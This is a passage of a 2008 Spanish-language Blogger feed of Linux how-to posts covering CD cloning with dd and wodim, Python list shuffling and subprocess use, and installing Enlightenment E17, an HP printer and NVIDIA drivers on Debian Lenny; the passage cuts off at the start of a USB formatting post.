href='http://damncorner.blogspot.com/2008/11/cambiar-orden-de-arranque-en-grub2.html' title='Cambiar orden de arranque en GRUB2'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3434506868643029338</id><published>2008-11-25T11:00:00.000-08:00</published><updated>2008-11-26T03:03:28.938-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><title type='text'>Clonar un CD/DVD desde la consola</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Si tenemos una sola unidad óptica (CD-RW o DVD-RW) y queremos duplicar un disco desde la consola entonces la siguiente receta nos será de mucha utilidad.&lt;br /&gt;&lt;br /&gt;Primero colocamos el CD/DVD &lt;i&gt;original&lt;/i&gt; (el que se desea duplicar) en la unidad para crear la réplica exacta en nuestro disco duro (es decir una imagen). Para ello necesitamos saber en que dispositivo se encuentra el CD-RW/DVD-RW, eso lo obtenemos con el comando &lt;b&gt;ls&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ls /dev/cd*&lt;br /&gt;/dev/cdrom  /dev/cdrw&lt;/code&gt;&lt;br /&gt;En nuestro caso se encuentra bajo el dispositivo &lt;b&gt;/dev/cdrw&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Ahora con el comando &lt;b&gt;dd&lt;/b&gt; realizamos la imagen:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ dd if=/dev/cdrw of=nombre_imagen.iso&lt;/code&gt;&lt;br /&gt;El argumento &lt;b&gt;if&lt;/b&gt; nos indica el archivo (o dispositivo) de entrada, mientras que el &lt;b&gt;of&lt;/b&gt; se refiere al archivo de salida, en nuestro caso el archivo de imagen .iso.&lt;br /&gt;&lt;br /&gt;Luego de unos minutos tendremos un archivo idéntico al CD/DVD (con los mismos pelos y señales) en nuestro disco duro. Ahora para grabarlo en otro disco usaremos el comando wodim. Si no lo tenemos instalado lo hacemos con aptitude:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude install wodim&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para usar el wodim debemos especificar el nombre del dispositivo grabador. Por alguna extraña razón wodim no emplea la misma terminología para los dispositivos que dd, así que es necesario ejecutar el comando &lt;b&gt;wodim&lt;/b&gt; para saber en que dispositivo grabaremos.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ wodim --devices&lt;br /&gt;wodim: Overview of accessible drives (1 found) :&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt; 0  dev='/dev/hdb' rwrw-- : 'TSSTcorp' 'CD/DVDW SH-S182F'&lt;br /&gt;-------------------------------------------------------------------------&lt;/code&gt;&lt;br /&gt;Como podemos observar wodim nos arroja que el dispositivo es el &lt;b&gt;/dev/hdb&lt;/b&gt;. Con esa información procedemos a grabar. Insertamos entonces un disco en blanco en la unidad y ejecutamos la siguiente orden:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ wodim -v -fs=128M -eject -dev=/dev/hdb nombre_imagen.iso&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Al finalizar podremos disfrutar de una copia exacta de nuestro CD/DVD&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3434506868643029338?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3434506868643029338/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3434506868643029338&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3434506868643029338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3434506868643029338'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/11/clonar-un-cddvd-desde-la-consola.html' title='Clonar un CD/DVD desde la consola'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1396669563330044700</id><published>2008-11-24T06:24:00.000-08:00</published><updated>2008-12-18T13:07:20.077-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Código Fuente'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Desordenar arreglos en Python</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Hace algún tiempo publiqué un pequeño &lt;a href="http://damncorner.blogspot.com/2008/07/algoritmo-para-desordenar-un-arreglo-en.html"&gt;algoritmo para desordenar arreglos en C++&lt;/a&gt;. Esta vez escribiré el mismo algoritmo pero en Python; veamos:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;import random&lt;br /&gt;&lt;br /&gt;arreglo = []&lt;br /&gt;&lt;br /&gt;for i in range(44):&lt;br /&gt;    arreglo.append(i)&lt;br /&gt;&lt;br /&gt;# Esta línea realiza todo el trabajo sucio de desordenar el arreglo y lo &lt;br /&gt;# guarda en la misma variable :D&lt;br /&gt;random.shuffle(arreglo)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Con eso ya tenemos nuestro arreglo desordenado... A lo Python! xD&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1396669563330044700?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1396669563330044700/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1396669563330044700&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1396669563330044700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1396669563330044700'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/11/desordenar-arreglos-en-python.html' title='Desordenar arreglos en Python'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-8051337633393582619</id><published>2008-11-19T05:14:00.000-08:00</published><updated>2008-12-18T13:07:20.078-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Código Fuente'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Ejecutar comandos del shell en Python y capturar su salida</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;A veces cuando escribimos un programa necesitamos ejecutar algún comando en la consola y tomar su salida para realizar una acción o tomar una decisión. &lt;br /&gt;&lt;br /&gt;La mayoría de los lenguajes de programación incorporan funciones que nos permiten ejecutar órdenes en la consola del sistema operativo y Python no es la excepción. Además lo hace realmente fácil ;)&lt;br /&gt;&lt;br /&gt;Para ello haremos uso del módulo &lt;a href="http://www.python.org/doc/2.5.2/lib/module-subprocess.html"&gt;subprocess&lt;/a&gt;, que a diferencia del os.system() o del os.popen() es mucho más intuitivo y sencillo de usar.&lt;br /&gt;&lt;br /&gt;El módulo define una función &lt;i&gt;conveniente&lt;/i&gt; llamada &lt;b&gt;call&lt;/b&gt; que ejecuta un comando y espera hasta que termine su ejecución. Recibe una gran cantidad de parámetros, pero solo nos interesan el comando a ejecutar, el descriptor de archivo de la salida estándar (stdout) y el descriptor de archivo de la salida de errores (stderr). Estos descriptores son importantes porque allí es donde se almacenará la salida del programa (lo que normalmente imprime en la consola) y los mensajes de error (que también se imprimen en la consola).&lt;br /&gt;&lt;br /&gt;El comando debe ser una lista de cádenas de caracteres, el primer elemento a ejecutar es el comando y los elementos siguientes son cada uno de los argumentos que recibe dicho comando. Los descriptores de archivos son eso... vulgares descriptores de archivos :D&lt;br /&gt;&lt;br /&gt;Pero es suficiente de preámbulos... &lt;b&gt;Show me the code!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# importamos el módulo&lt;br /&gt;import subprocess&lt;br /&gt;&lt;br /&gt;# Creamos los descriptores de archivos como dos vulgares archivos&lt;br /&gt;# con permisos de escritura llamados 'archivo_out' y 'archivo_err'&lt;br /&gt;outfd = open('archivo_out', 'w+')&lt;br /&gt;errfd = open('archivo_err', 'w+')&lt;br /&gt;&lt;br /&gt;# Supongamos que queremos ejecutamos el comando: ls -l -a &lt;br /&gt;subprocess.call(['ls', '-l', '-a'], stdout=outfd, stderr=errfd)&lt;br /&gt;&lt;br /&gt;# Cerramos los archivos para que se escriban los cambios y se liberen&lt;br /&gt;# los buffers de I/O&lt;br /&gt;outfd.close()&lt;br /&gt;errfd.close()&lt;br /&gt;&lt;br /&gt;# Ahora leemos todo lo que tengan los archivos y guardamos en la variable&lt;br /&gt;# output la salida estándar y en err la salida de error.&lt;br /&gt;fd = open('archivo_out', 'r')&lt;br /&gt;output = fd.read()&lt;br /&gt;fd.close()&lt;br /&gt;&lt;br /&gt;fd = open('archivo_err', 'r')&lt;br /&gt;err = fd.read()&lt;br /&gt;fd.close()&lt;br /&gt;&lt;br /&gt;# Por último mostramos lo que tienen las variables&lt;br /&gt;print 'stdout: %s\n' % output&lt;br /&gt;print 'stderr: %s' % err&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Con eso ya podemos ejecutar cualquier comando en la shell usando Python, esperar su salida y además guardarla en una variable para procesarla más adelante&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-8051337633393582619?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/8051337633393582619/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=8051337633393582619&amp;isPopup=true' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8051337633393582619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8051337633393582619'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/11/ejecutar-comandos-del-shell-en-python-y.html' title='Ejecutar comandos del shell en Python y capturar su salida'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5818340309246542935</id><published>2008-11-09T04:45:00.000-08:00</published><updated>2008-12-18T12:57:17.697-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Escritorios'/><title type='text'>Instalar Enlightenment E17 en Debian Lenny</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SRbx8WvOX1I/AAAAAAAAAFk/YzmWhES6IKk/s1600-h/logo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 150px; height: 200px;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SRbx8WvOX1I/AAAAAAAAAFk/YzmWhES6IKk/s320/logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5266662833454473042" /&gt;&lt;/a&gt;&lt;br /&gt;Para aquellos que no lo conocen, &lt;a href="http://es.wikipedia.org/wiki/Enlightenment"&gt;Enlightenment&lt;/a&gt; o simplemente &lt;em&gt;&lt;strong&gt;&lt;a href="http://es.wikipedia.org/wiki/Enlightenment"&gt;E&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; es un gestor de ventanas para Unix y GNU/Linux muy atractivo y con efectos visuales alucinantes.&lt;br /&gt;&lt;br /&gt;La DR17 es la versión en desarrollo de Enlightenment pero ofrece una gran estabilidad y una buena integración con el entorno, todo con una arquitectura gráficamente espectacular y flexible. Para más detalles de Enlightenment visita la &lt;a href="http://www.enlightenment.org/"&gt;página oficial&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bueno, ahora a lo que vinimos; en este post explicaré como instalar la versión DR17 (E17) en Debian Lenny.&lt;br /&gt;&lt;br /&gt;Primero agregamos los repositorios de desarrollo de Enlightenment a nuestro &lt;strong&gt;/etc/apt/sources.list&lt;/strong&gt;:&lt;br /&gt;&lt;code&gt;deb http://debian.alphagemini.org/ unstable main&lt;br /&gt;deb-src http://debian.alphagemini.org/ unstable main&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego agregamos la clave gpg ejecutando estas instrucciones en la consola:&lt;br /&gt;&lt;code&gt;# gpg --keyserver pgp.rediris.es --recv-keys 7E5D69A103CA4243&lt;br /&gt;# gpg --armor --export 7E5D69A103CA4243 | apt-key add -&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Hacemos una actualización de la lista de paquetes:&lt;br /&gt;&lt;code&gt;# aptitude update&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y por último instalamos el gestor de ventanas:&lt;br /&gt;&lt;code&gt;# aptitude install e17&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El resultado está a la vista, las imágenes corresponden a los distintos temas que probé en mi escritorio.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SRb26X7zUJI/AAAAAAAAAFs/xoL-eUo4Unw/s1600-h/2008-11-09-093259_1440x900_scrot.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SRb26X7zUJI/AAAAAAAAAFs/xoL-eUo4Unw/s320/2008-11-09-093259_1440x900_scrot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5266668296974061714" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SRb3EhjQ9TI/AAAAAAAAAF0/z2ug0rZWoVc/s1600-h/2008-11-09-093340_1440x900_scrot.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SRb3EhjQ9TI/AAAAAAAAAF0/z2ug0rZWoVc/s320/2008-11-09-093340_1440x900_scrot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5266668471354193202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SRcAW_tLuhI/AAAAAAAAAGE/V1ZYCBMqW_Q/s1600-h/2008-11-09-093940_1440x900_scrot.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SRcAW_tLuhI/AAAAAAAAAGE/V1ZYCBMqW_Q/s320/2008-11-09-093940_1440x900_scrot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5266678684291152402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SRcAP_kPrxI/AAAAAAAAAF8/ajIBYq6Er9I/s1600-h/2008-11-09-093449_1440x900_scrot.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SRcAP_kPrxI/AAAAAAAAAF8/ajIBYq6Er9I/s320/2008-11-09-093449_1440x900_scrot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5266678563994578706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Seguiré jugando con el E17 y postearé cualquier otra novedad que consiga&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5818340309246542935?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5818340309246542935/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5818340309246542935&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5818340309246542935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5818340309246542935'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/11/instalar-enlightenment-e17-en-debian.html' title='Instalar Enlightenment E17 en Debian Lenny'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/SRbx8WvOX1I/AAAAAAAAAFk/YzmWhES6IKk/s72-c/logo.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-8076542845360327755</id><published>2008-11-04T19:20:00.000-08:00</published><updated>2008-12-18T12:59:07.497-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Instalar impresora HP3745 en Debian Lenny</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;El procedimiento descrito a continuación se realizó para el modelo de impresora HP Deskjet 3745, sin embargo es idéntico para otra gama amplia de modelos HP.&lt;br /&gt;&lt;br /&gt;Lo primero que debemos hacer es asegurarnos que nuestro sistema esté al día:&lt;br /&gt;&lt;code&gt;# aptitude update&lt;br /&gt;# aptitude safe-upgrade&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Posteriormente instalamos los paquetes necesarios para la puesta a punto de la impresora.&lt;br /&gt;&lt;code&gt;# aptitude install hplip hpijs foomatic-db-hpijs&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora basta con abrir una nueva ventana/pestaña del navegador y cargar la URL &lt;strong&gt;http://localhost:631&lt;/strong&gt;. Inmediatamente le aparecerá la página de bienvenida del sistema &lt;a href="http://es.wikipedia.org/wiki/Common_Unix_Printing_System"&gt;CUPS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SREUt_VWcAI/AAAAAAAAAE8/M1E7QYgBIUc/s1600-h/cups.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 228px;" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SREUt_VWcAI/AAAAAAAAAE8/M1E7QYgBIUc/s320/cups.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5265012219700473858" /&gt;&lt;/a&gt;&lt;br /&gt;Hacemos click en &lt;strong&gt;Añadir impresora&lt;/strong&gt; y veremos algo como:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SREVF8_hg2I/AAAAAAAAAFE/T_olpcoPsCA/s1600-h/add-printer.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 201px;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SREVF8_hg2I/AAAAAAAAAFE/T_olpcoPsCA/s320/add-printer.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5265012631388914530" /&gt;&lt;/a&gt;&lt;br /&gt;Llenamos los campos con la información requerida y hacemos click en &lt;strong&gt;Siguiente&lt;/strong&gt;. Ahora nos sale una pantalla donde es necesario seleccionar el tipo de conexión con la impresora.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SREWXaISTgI/AAAAAAAAAFM/iVZ3pcMFFko/s1600-h/connection.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 219px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SREWXaISTgI/AAAAAAAAAFM/iVZ3pcMFFko/s320/connection.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5265014030779698690" /&gt;&lt;/a&gt;&lt;br /&gt;En este caso la impresora está conectada por cable USB, así que tomaremos la opción que dice USB y que además contiene la palabra &lt;strong&gt;HPLIP&lt;/strong&gt; y el serial de la misma.&lt;br /&gt;&lt;br /&gt;Por último el CUPS nos pregunta sobre el modelo de la impresora&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SREXDtHQemI/AAAAAAAAAFU/npsZdZusf8s/s1600-h/model.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 172px;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SREXDtHQemI/AAAAAAAAAFU/npsZdZusf8s/s320/model.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5265014791789902434" /&gt;&lt;/a&gt;&lt;br /&gt;Seleccionamos el modelo de nuestra impresora y hacemos click en &lt;strong&gt;Añadir impresora&lt;/strong&gt; y con eso tenemos la impresora instalada y funcionando a la perfección.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SREXvCc3b4I/AAAAAAAAAFc/5m5PAkJij4c/s1600-h/finish.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 135px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SREXvCc3b4I/AAAAAAAAAFc/5m5PAkJij4c/s320/finish.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5265015536252055426" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Luego de eso solo queda probar la impresión con nuestro programa favorito o llamar desde la consola al toolbox de HP con el comando:&lt;br /&gt;&lt;code&gt;$ hp-toolbox&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-8076542845360327755?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/8076542845360327755/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=8076542845360327755&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8076542845360327755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8076542845360327755'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/11/instalar-impresora-hp3745-en-debian.html' title='Instalar impresora HP3745 en Debian Lenny'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oLUxtmo5LIU/SREUt_VWcAI/AAAAAAAAAE8/M1E7QYgBIUc/s72-c/cups.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-8575757922716132778</id><published>2008-10-29T19:06:00.000-07:00</published><updated>2008-12-18T12:59:07.498-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Instalar driver NVIDIA a la Debian-Way</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;El procedimiento descrito a continuación fue probado en Debian Lenny pero debería funcionar para la mayoría de las distribuciones derivadas de Debian sin mucho problema. Usaremos el paquete module-assistant para llevar a cabo la tarea&lt;br /&gt;&lt;br /&gt;Lo primero es instalar el module-assistant:&lt;br /&gt;&lt;code&gt;# aptitude install module-assistant&lt;/code&gt;&lt;br /&gt;Posteriormente instalarmos los headers del kernel que estamos usando:&lt;br /&gt;&lt;code&gt;# aptitude install linux-headers-$(uname -r)&lt;/code&gt;&lt;br /&gt;Después de esto ejecutamos los siguientes pasos:&lt;br /&gt;&lt;code&gt;# module-assistant update&lt;br /&gt;# module-assistant prepare&lt;br /&gt;# module-assistant auto-install nvidia&lt;/code&gt;&lt;br /&gt;O lo que es lo mismo:&lt;br /&gt;&lt;code&gt;# m-a update&lt;br /&gt;# m-a prepare&lt;br /&gt;# m-a a-i nvidia&lt;/code&gt;&lt;br /&gt;Con eso le decimos al module assistant que se encargue de descargar, compilar, empaquetar e instalar el driver NVIDIA correspondiente a nuestra tarjeta de video.&lt;br /&gt;&lt;br /&gt;Pero ahora nos falta configurar el servidor X.Org para que haga uso del driver. Para ello instalamos el paquete nvidia-xconfig:&lt;br /&gt;&lt;code&gt;# aptitude install nvidia-xconfig&lt;/code&gt;&lt;br /&gt;Y luego lo ejecutamos:&lt;br /&gt;&lt;code&gt;# nvidia-xconfig&lt;/code&gt;&lt;br /&gt;Con eso tendremos el archivo &lt;strong&gt;/etc/X11/xorg.conf&lt;/strong&gt; configurado y listo para la acción.&lt;br /&gt;&lt;br /&gt;Finalmente, reiniciamos las X's presionando Ctrl + Alt + Backspace o ejecutando el siguiente comando:&lt;br /&gt;&lt;code&gt;# /etc/init.d/gdm restart&lt;/code&gt;&lt;br /&gt;Si todo ha salido bien deberíamos ver el logo de NVIDIA en nuestra pantalla y un driver completamente funcional&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-8575757922716132778?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/8575757922716132778/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=8575757922716132778&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8575757922716132778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8575757922716132778'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/10/instalar-driver-nvidia-la-debian-way.html' title='Instalar driver NVIDIA a la Debian-Way'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4749027901332649176</id><published>2008-09-27T00:38:00.000-07:00</published><updated>2008-09-27T01:03:56.179-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Formatear Pen Drive USB en GNU/Linux</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Para 